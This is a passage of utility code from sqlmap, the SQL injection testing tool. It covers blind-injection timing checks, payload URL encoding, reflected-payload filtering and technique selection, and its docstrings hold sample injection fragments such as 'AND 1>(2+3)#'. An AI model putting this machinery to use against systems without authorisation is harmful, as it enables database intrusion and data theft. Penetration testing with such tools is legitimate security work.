retVal if not unique else retVal.keys() def goGoodSamaritan(prevValue, originalCharset): """ Function for retrieving parameters needed for common prediction (good samaritan) feature. prevValue: retrieved query output so far (e.g. 'i'). Returns commonValue if there is a complete single match (in kb.partRun of txt/common-outputs.txt under kb.partRun) regarding parameter prevValue. If there is no single value match, but multiple, commonCharset is returned containing more probable characters (retrieved from matched values in txt/common-outputs.txt) together with the rest of charset as otherCharset. """ if kb.commonOutputs is None: initCommonOutputs() predictionSet = set() commonValue = None commonPattern = None countCommonValue = 0 # If the header (e.g. Databases) we are looking for has common # outputs defined if kb.partRun in kb.commonOutputs: commonPartOutputs = kb.commonOutputs[kb.partRun] commonPattern = commonFinderOnly(prevValue, commonPartOutputs) # If the longest common prefix is the same as previous value then # do not consider it if commonPattern and commonPattern == prevValue: commonPattern = None # For each common output for item in commonPartOutputs: # Check if the common output (item) starts with prevValue # where prevValue is the enumerated character(s) so far if item.startswith(prevValue): commonValue = item countCommonValue += 1 if len(item) > len(prevValue): char = item[len(prevValue)] predictionSet.add(char) # Reset single value if there is more than one possible common # output if countCommonValue > 1: commonValue = None commonCharset = [] otherCharset = [] # Split the original charset into common chars (commonCharset) # and other chars (otherCharset) for ordChar in originalCharset: if chr(ordChar) not in predictionSet: otherCharset.append(ordChar) else: commonCharset.append(ordChar) commonCharset.sort() return commonValue, commonPattern, commonCharset, originalCharset else: return None, None, None, originalCharset def getPartRun(alias=True): """ Goes through call stack and finds constructs matching conf.dbmsHandler.*. Returns it or its alias used in txt/common-outputs.txt """ retVal = None commonPartsDict = optDict["Enumeration"] try: stack = [item[4][0] if isinstance(item[4], list) else '' for item in inspect.stack()] # Goes backwards through the stack to find the conf.dbmsHandler method # calling this function for i in xrange(0, len(stack) - 1): for regex in (r"self\.(get[^(]+)\(\)", r"conf\.dbmsHandler\.([^(]+)\(\)"): match = re.search(regex, stack[i]) if match: # This is the calling conf.dbmsHandler or self method # (e.g. 'getDbms') retVal = match.groups()[0] break if retVal is not None: break # Reference: http://coding.derkeiler.com/Archive/Python/comp.lang.python/2004-06/2267.html except TypeError: pass # Return the INI tag to consider for common outputs (e.g. 'Databases') if alias: return commonPartsDict[retVal][1] if isinstance(commonPartsDict.get(retVal), tuple) else retVal else: return retVal def getUnicode(value, encoding=None, noneToNull=False): """ Return the unicode representation of the supplied value: >>> getUnicode(u'test') u'test' >>> getUnicode('test') u'test' >>> getUnicode(1) u'1' """ if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances def longestCommonPrefix(*sequences): """ Returns longest common prefix occuring in given sequences Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 >>> longestCommonPrefix('foobar', 'fobar') 'fo' """ if len(sequences) == 1: return sequences[0] sequences = [pair[1] for pair in sorted((len(fi), fi) for fi in sequences)] if not sequences: return None for i, comparison_ch in enumerate(sequences[0]): for fi in sequences[1:]: ch = fi[i] if ch != comparison_ch: return fi[:i] return sequences[0] def commonFinderOnly(initial, sequence): return longestCommonPrefix(*filter(lambda x: x.startswith(initial), sequence)) def pushValue(value): """ Push value to the stack (thread dependent) """ _ = None success = False for i in xrange(PUSH_VALUE_EXCEPTION_RETRY_COUNT): try: getCurrentThreadData().valueStack.append(copy.deepcopy(value)) success = True break except Exception, ex: _ = ex if not success: getCurrentThreadData().valueStack.append(None) if _: raise _ def popValue(): """ Pop value from the stack (thread dependent) >>> pushValue('foobar') >>> popValue() 'foobar' """ return getCurrentThreadData().valueStack.pop() def wasLastResponseDBMSError(): """ Returns True if the last web request resulted in a (recognized) DBMS error page """ threadData = getCurrentThreadData() return threadData.lastErrorPage and threadData.lastErrorPage[0] == threadData.lastRequestUID def wasLastResponseHTTPError(): """ Returns True if the last web request resulted in an errornous HTTP code (like 500) """ threadData = getCurrentThreadData() return threadData.lastHTTPError and threadData.lastHTTPError[0] == threadData.lastRequestUID def wasLastResponseDelayed(): """ Returns True if the last web request resulted in a time-delay """ # 99.9999999997440% of all non time-based SQL injection affected # response times should be inside +-7*stdev([normal response times]) # Math reference: http://www.answers.com/topic/standard-deviation deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() if deviation and not conf.direct: if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES logger.warn(warnMsg) lowerStdLimit = average(kb.responseTimes[kb.responseTimeMode]) + TIME_STDEV_COEFF * deviation retVal = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit)) if not kb.testMode and retVal: if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " choice = readInput(msg, default='Y') kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if choice.upper() == 'N' else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: return (threadData.lastQueryDuration - conf.timeSec) >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ Provides tip for adjusting time delay in time-based data retrieval """ candidate = 1 + int(round(lowerStdLimit)) if candidate: kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((x == candidate for x in kb.delayCandidates)) and candidate < conf.timeSec: conf.timeSec = candidate infoMsg = "adjusting time delay to " infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.info(infoMsg) def getLastRequestHTTPError(): """ Returns last HTTP error code """ threadData = getCurrentThreadData() return threadData.lastHTTPError[1] if threadData.lastHTTPError else None def extractErrorMessage(page): """ Returns reported error message from page if it founds one >>> extractErrorMessage(u'Test\\nWarning: oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated

Only a test page

') u'oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated' """ retVal = None if isinstance(page, basestring): for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.DOTALL | re.IGNORECASE) if match: retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() break return retVal def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body """ retVal = None done = set() candidates = [] for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): _ = match.group(1).strip().strip('-') if _ in done: continue else: candidates.append((post.count(_), _)) done.add(_) if candidates: candidates.sort(key=lambda _: _[0], reverse=True) retVal = candidates[0][1] return retVal def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True): """ URL decodes given value >>> urldecode('AND%201%3E%282%2B3%29%23', convall=True) u'AND 1>(2+3)#' """ result = value if value: try: # for cases like T%C3%BCrk%C3%A7e value = str(value) except ValueError: pass finally: if convall: result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value) else: def _(match): charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) char = chr(ord(match.group(1).decode("hex"))) return char if char in charset else match.group(0) result = value if plusspace: result = result.replace("+", " ") # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) result = re.sub("%([0-9a-fA-F]{2})", _, result) if isinstance(result, str): result = unicode(result, encoding or UNICODE_ENCODING, "replace") return result def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): """ URL encodes given value >>> urlencode('AND 1>(2+3)#') 'AND%201%3E%282%2B3%29%23' """ if conf.get("direct"): return value count = 0 result = None if value is None else "" if value: if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value): warnMsg = "if you experience problems with " warnMsg += "non-ASCII identifier names " warnMsg += "you are advised to rerun with '--tamper=charunicodeencode'" singleTimeWarnMessage(warnMsg) if convall or safe is None: safe = "" # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions: value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value) while True: result = urllib.quote(utf8encode(value), safe) if limit and len(result) > URLENCODE_CHAR_LIMIT: if count >= len(URLENCODE_FAILSAFE_CHARS): break while count < len(URLENCODE_FAILSAFE_CHARS): safe += URLENCODE_FAILSAFE_CHARS[count] count += 1 if safe[-1] in value: break else: break if spaceplus: result = result.replace(urllib.quote(' '), '+') return result def runningAsAdmin(): """ Returns True if the current process is run under admin privileges """ isAdmin = None if PLATFORM in ("posix", "mac"): _ = os.geteuid() isAdmin = isinstance(_, (int, float, long)) and _ == 0 elif IS_WIN: import ctypes _ = ctypes.windll.shell32.IsUserAnAdmin() isAdmin = isinstance(_, (int, float, long)) and _ == 1 else: errMsg = "sqlmap is not able to check if you are running it " errMsg += "as an administrator account on this platform. " errMsg += "sqlmap will assume that you are an administrator " errMsg += "which is mandatory for the requested takeover attack " errMsg += "to work properly" logger.error(errMsg) isAdmin = True return isAdmin def logHTTPTraffic(requestLogMsg, responseLogMsg): """ Logs HTTP traffic to the output file """ if not conf.trafficFile: return with kb.locks.log: dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-linked function raise NotImplementedError def getPublicTypeMembers(type_, onlyValues=False): """ Useful for getting members from types (e.g. in enums) >>> [_ for _ in getPublicTypeMembers(OS, True)] ['Linux', 'Windows'] """ for name, value in inspect.getmembers(type_): if not name.startswith('__'): if not onlyValues: yield (name, value) else: yield value def enumValueToNameLookup(type_, value_): """ Returns name of a enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' """ retVal = None for name, value in getPublicTypeMembers(type_): if value == value_: retVal = name break return retVal def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> extractRegexResult(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' """ retVal = None if regex and content and "?P" in regex: match = re.search(regex, content, flags) if match: retVal = match.group("result") return retVal def extractTextTagContent(page): """ Returns list containing content from "textual" tags >>> extractTextTagContent(u'Title
foobar
Link') [u'Title', u'foobar'] """ page = page or "" if REFLECTED_VALUE_MARKER in page: try: page = re.sub(r"(?i)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page) except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value >>> trimAlphaNum(u'AND 1>(2+3)-- foobar') u' 1>(2+3)-- ' """ while value and value[-1].isalnum(): value = value[:-1] while value and value[0].isalnum(): value = value[1:] return value def isNumPosStrValue(value): """ Returns True if value is a string (or integer) with a positive integer representation >>> isNumPosStrValue(1) True >>> isNumPosStrValue('1') True >>> isNumPosStrValue(0) False >>> isNumPosStrValue('-2') False """ return (value and isinstance(value, basestring) and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0) @cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias >>> aliasToDbmsEnum('mssql') 'Microsoft SQL Server' """ retVal = None if dbms: for key, item in DBMS_DICT.items(): if dbms.lower() in item[0] or dbms.lower() == key.lower(): retVal = key break return retVal def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" logger.info(infoMsg) blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: (_, _, length) = block if length <= DYNAMICITY_MARK_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle if len(blocks) > 0: blocks.insert(0, None) blocks.append(None) for i in xrange(len(blocks) - 1): prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None if prefix is None and blocks[i + 1][0] == 0: continue if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue prefix = trimAlphaNum(prefix) suffix = trimAlphaNum(suffix) kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') logger.info(infoMsg) def removeDynamicContent(page): """ Removing dynamic content from supplied page basing removal on precalculated dynamic markings """ if page: for item in kb.dynamicMarkings: prefix, suffix = item if prefix is None and suffix is None: continue elif prefix is None: page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page def filterStringValue(value, charRegex, replacement=""): """ Returns string value consisting only of chars satisfying supplied regular expression (note: it has to be in form [...]) >>> filterStringValue(u'wzydeadbeef0123#', r'[0-9a-f]') u'deadbeef0123' """ retVal = value if value: retVal = re.sub(charRegex.replace("[", "[^") if "[^" not in charRegex else charRegex.replace("[^", "["), replacement, value) return retVal def filterControlChars(value): """ Returns string value with control chars being supstituted with ' ' >>> filterControlChars(u'AND 1>(2+3)\\n--') u'AND 1>(2+3) --' """ return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ') def isDBMSVersionAtLeast(version): """ Checks if the recognized DBMS version is at least the version specified """ retVal = None if Backend.getVersion() and Backend.getVersion() != UNKNOWN_DBMS_VERSION: value = Backend.getVersion().replace(" ", "").rstrip('.') while True: index = value.find('.', value.find('.') + 1) if index > -1: value = value[0:index] + value[index + 1:] else: break value = filterStringValue(value, '[0-9.><=]') if isinstance(value, basestring): if value.startswith(">="): value = float(value.replace(">=", "")) elif value.startswith(">"): value = float(value.replace(">", "")) + 0.01 elif value.startswith("<="): value = float(value.replace("<=", "")) elif value.startswith(">"): value = float(value.replace("<", "")) - 0.01 retVal = getUnicode(value) >= getUnicode(version) return retVal def parseSqliteTableSchema(value): """ Parses table column names and types from specified SQLite table schema """ if value: table = {} columns = {} for match in re.finditer(r"(\w+)[\"'`]?\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b", value, re.I): columns[match.group(1)] = match.group(2) table[conf.tbl] = columns kb.data.cachedColumns[conf.db] = table def getTechniqueData(technique=None): """ Returns injection data for technique specified """ return kb.injection.data.get(technique) def isTechniqueAvailable(technique): """ Returns True if there is injection data which sqlmap could use for technique specified """ if conf.tech and isinstance(conf.tech, list) and technique not in conf.tech: return False else: return getTechniqueData(technique) is not None def isStackingAvailable(): """ Returns True whether techniques using stacking are available """ retVal = False if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): retVal = True break return retVal def isInferenceAvailable(): """ Returns True whether techniques using inference technique are available """ return any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.STACKED, PAYLOAD.TECHNIQUE.TIME)) def setOptimize(): """ Sets options turned on by switch '-o' """ #conf.predictOutput = True conf.keepAlive = True conf.threads = 3 if conf.threads < 3 else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) if not conf.nullConnection: debugMsg = "turning off --null-connection switch used indirectly by switch -o" logger.debug(debugMsg) def initTechnique(technique=None): """ Prepares data for technique specified """ try: data = getTechniqueData(technique) resetCounter(technique) if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options for key, value in kb.injection.conf.items(): if value and (not hasattr(conf, key) or (hasattr(conf, key) and not getattr(conf, key))): setattr(conf, key, value) debugMsg = "resuming configuration option '%s' (%s)" % (key, value) logger.debug(debugMsg) if value and key == "optimize": setOptimize() else: warnMsg = "there is no injection data available for technique " warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique) logger.warn(warnMsg) except SqlmapDataException: errMsg = "missing data in old session file(s). " errMsg += "Please use '--flush-session' to deal " errMsg += "with this error" raise SqlmapNoneDataException(errMsg) def arrayizeValue(value): """ Makes a list out of value if it is not already a list or tuple itself >>> arrayizeValue(u'1') [u'1'] """ if not isListLike(value): value = [value] return value def unArrayizeValue(value): """ Makes a value out of iterable if it is a list or tuple itself >>> unArrayizeValue([u'1']) u'1' """ if isListLike(value): if not value: value = None elif len(value) == 1 and not isListLike(value[0]): value = value[0] else: _ = filter(lambda _: _ is not None, (_ for _ in flattenValue(value))) value = _[0] if len(_) > 0 else None return value def flattenValue(value): """ Returns an iterator representing flat representation of a given value >>> [_ for _ in flattenValue([[u'1'], [[u'2'], u'3']])] [u'1', u'2', u'3'] """ for i in iter(value): if isListLike(i): for j in flattenValue(i): yield j else: yield i def isListLike(value): """ Returns True if the given value is a list-like instance >>> isListLike([1, 2, 3]) True >>> isListLike(u'2') False """ return isinstance(value, (list, tuple, set, BigArray)) def getSortedInjectionTests(): """ Returns prioritized test list by eventually detected DBMS from error messages """ retVal = copy.deepcopy(conf.tests) def priorityFunction(test): retVal = SORT_ORDER.FIRST if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST elif 'details' in test and 'dbms' in test.details: if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: retVal = SORT_ORDER.THIRD return retVal if Backend.getIdentifiedDbms(): retVal = sorted(retVal, key=priorityFunction) return retVal def filterListValue(value, regex): """ Returns list with items that have parts satisfying given regular expression >>> filterListValue(['users', 'admins', 'logs'], r'(users|admins)') ['users', 'admins'] """ if isinstance(value, list) and regex: retVal = filter(lambda _: re.search(regex, _, re.I), value) else: retVal = value return retVal def showHttpErrorCodes(): """ Shows all HTTP error codes raised till now """ if kb.httpErrorCodes: warnMsg = "HTTP error codes detected during run:\n" warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ if code in httplib.responses else '?', count) \ for code, count in kb.httpErrorCodes.items()) logger.warn(warnMsg) if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): msg = "too many 4xx and/or 5xx HTTP error codes " msg += "could mean that some kind of protection is involved (e.g. WAF)" logger.debug(msg) def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", buffering=1): # "buffering=1" means line buffered (Reference: http://stackoverflow.com/a/3168436) """ Returns file handle of a given filename """ try: return codecs.open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if \ mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") errMsg += "and that it's not locked by another process." raise SqlmapSystemException(errMsg) def decodeIntToUnicode(value): """ Decodes inferenced integer value to an unicode character >>> decodeIntToUnicode(35) u'#' >>> decodeIntToUnicode(64) u'@' """ retVal = value if isinstance(value, int): try: if value > 255: _ = "%x" % value if len(_) % 2 == 1: _ = "0%s" % _ raw = hexdecode(_) if Backend.isDbms(DBMS.MSSQL): retVal = getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): retVal = unichr(value) else: retVal = getUnicode(raw, conf.charset) else: retVal = getUnicode(chr(value)) except: retVal = INFERENCE_UNKNOWN_CHAR return retVal def unhandledExceptionMessage(): """ Returns detailed message about occurred unhandled exception """ errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING errMsg += "run with the latest development version from official GitHub " errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) return errMsg def createGithubIssue(errMsg, excMsg): """ Automatically create a Github issue with unhandled exception information """ issues = [] try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: pass finally: issues = set(issues) _ = re.sub(r"'[^']+'", "''", excMsg) _ = re.sub(r"\s+line \d+", "", _) _ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _) _ = re.sub(r".+\Z", "", _) key = hashlib.md5(_).hexdigest()[:8] if key in issues: return msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: test = readInput(msg, default="N") except: test = None if test and test[0] in ("y", "Y"): ex = None errMsg = errMsg[errMsg.find("\n"):] data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")}) try: f = urllib2.urlopen(req) content = f.read() except Exception, ex: content = None issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") if issueUrl: infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) logger.info(infoMsg) try: with open(paths.GITHUB_HISTORY, "a+b") as f: f.write("%s\n" % key) except: pass else: warnMsg = "something went wrong while creating a Github issue" if ex: warnMsg += " ('%s')" % getSafeExString(ex) if "Unauthorized" in warnMsg: warnMsg += ". Please update to the latest revision" logger.warn(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message """ retVal = getUnicode(msg) for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))): regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) if not conf.get("hostname"): match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal) if match: retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) return retVal def listToStrValue(value): """ Flattens list to a string value >>> listToStrValue([1,2,3]) '1, 2, 3' """ if isinstance(value, (set, tuple)): value = list(value) if isinstance(value, list): retVal = value.__str__().lstrip('[').rstrip(']') else: retVal = value return retVal def getExceptionFrameLocals(): """ Returns dictionary with local variable content from frame where exception has been raised """ retVal = {} if sys.exc_info(): trace = sys.exc_info()[2] while trace.tb_next: trace = trace.tb_next retVal = trace.tb_frame.f_locals return retVal def intersect(valueA, valueB, lowerCase=False): """ Returns intersection of the array-ized values >>> intersect([1, 2, 3], set([1,3])) [1, 3] """ retVal = [] if valueA and valueB: valueA = arrayizeValue(valueA) valueB = arrayizeValue(valueB) if lowerCase: valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] retVal = [val for val in valueA if val in valueB] return retVal def cpuThrottle(value): """ Does a CPU throttling for lesser CPU consumption """ delay = 0.00001 * (value ** 2) time.sleep(delay) def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload (e.g. ..search.php?q=1 AND 1=2 --> "...searching for 1%20AND%201%3D2..." --> "...searching for __REFLECTED_VALUE__...") """ retVal = content try: if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) if regex != payload: if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) if regex.startswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) else: regex = r"\b%s" % regex if regex.endswith(REFLECTED_REPLACEMENT_REGEX): regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) else: regex = r"%s\b" % regex retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal) if len(parts) > 2: regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" singleTimeWarnMessage(warnMsg) if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I): warnMsg = "frames detected containing attacked parameter values. Please be sure to " warnMsg += "test those separately in case that attack on this page fails" singleTimeWarnMessage(warnMsg) elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) except MemoryError: kb.reflectiveMechanism = False if not suppressWarning: debugMsg = "turning off reflection removal mechanism (because of low memory issues)" logger.debug(debugMsg) return retVal def normalizeUnicode(value): """ Does an ASCII normalization of unicode strings Reference: http://www.peterbe.com/plog/unicode-to-ascii >>> normalizeUnicode(u'\u0161u\u0107uraj') 'sucuraj' """ return unicodedata.normalize('NFKD', value).encode('ascii', 'ignore') if isinstance(value, unicode) else value def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal """ retVal = name if isinstance(name, basestring): retVal = getUnicode(name) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = "`%s`" % retVal.strip("`") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): retVal = "\"%s\"" % retVal.strip("\"") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.strip("\"").upper() elif 